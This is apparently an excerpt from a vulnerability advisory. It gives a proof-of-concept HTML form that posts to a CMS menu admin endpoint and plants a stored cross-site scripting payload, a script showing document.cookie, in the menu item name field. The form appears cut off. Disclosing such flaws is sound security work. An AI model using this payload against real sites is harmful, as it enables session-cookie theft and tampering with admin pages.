An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/menu/admin/index.php?op=saveItem" method="post" name="main" >

<input type="hidden" name="menuid" value="1" /> <input type="hidden" name="id" value="2" /> <input type="hidden" name="pid" value="0" /> <input type="hidden" name="name" value='Pages<script>alert(document.cookie)</script>' /> <input type="hidden" name="url" value="/pages/" /> <input type="hidden" name="order" value="20" />
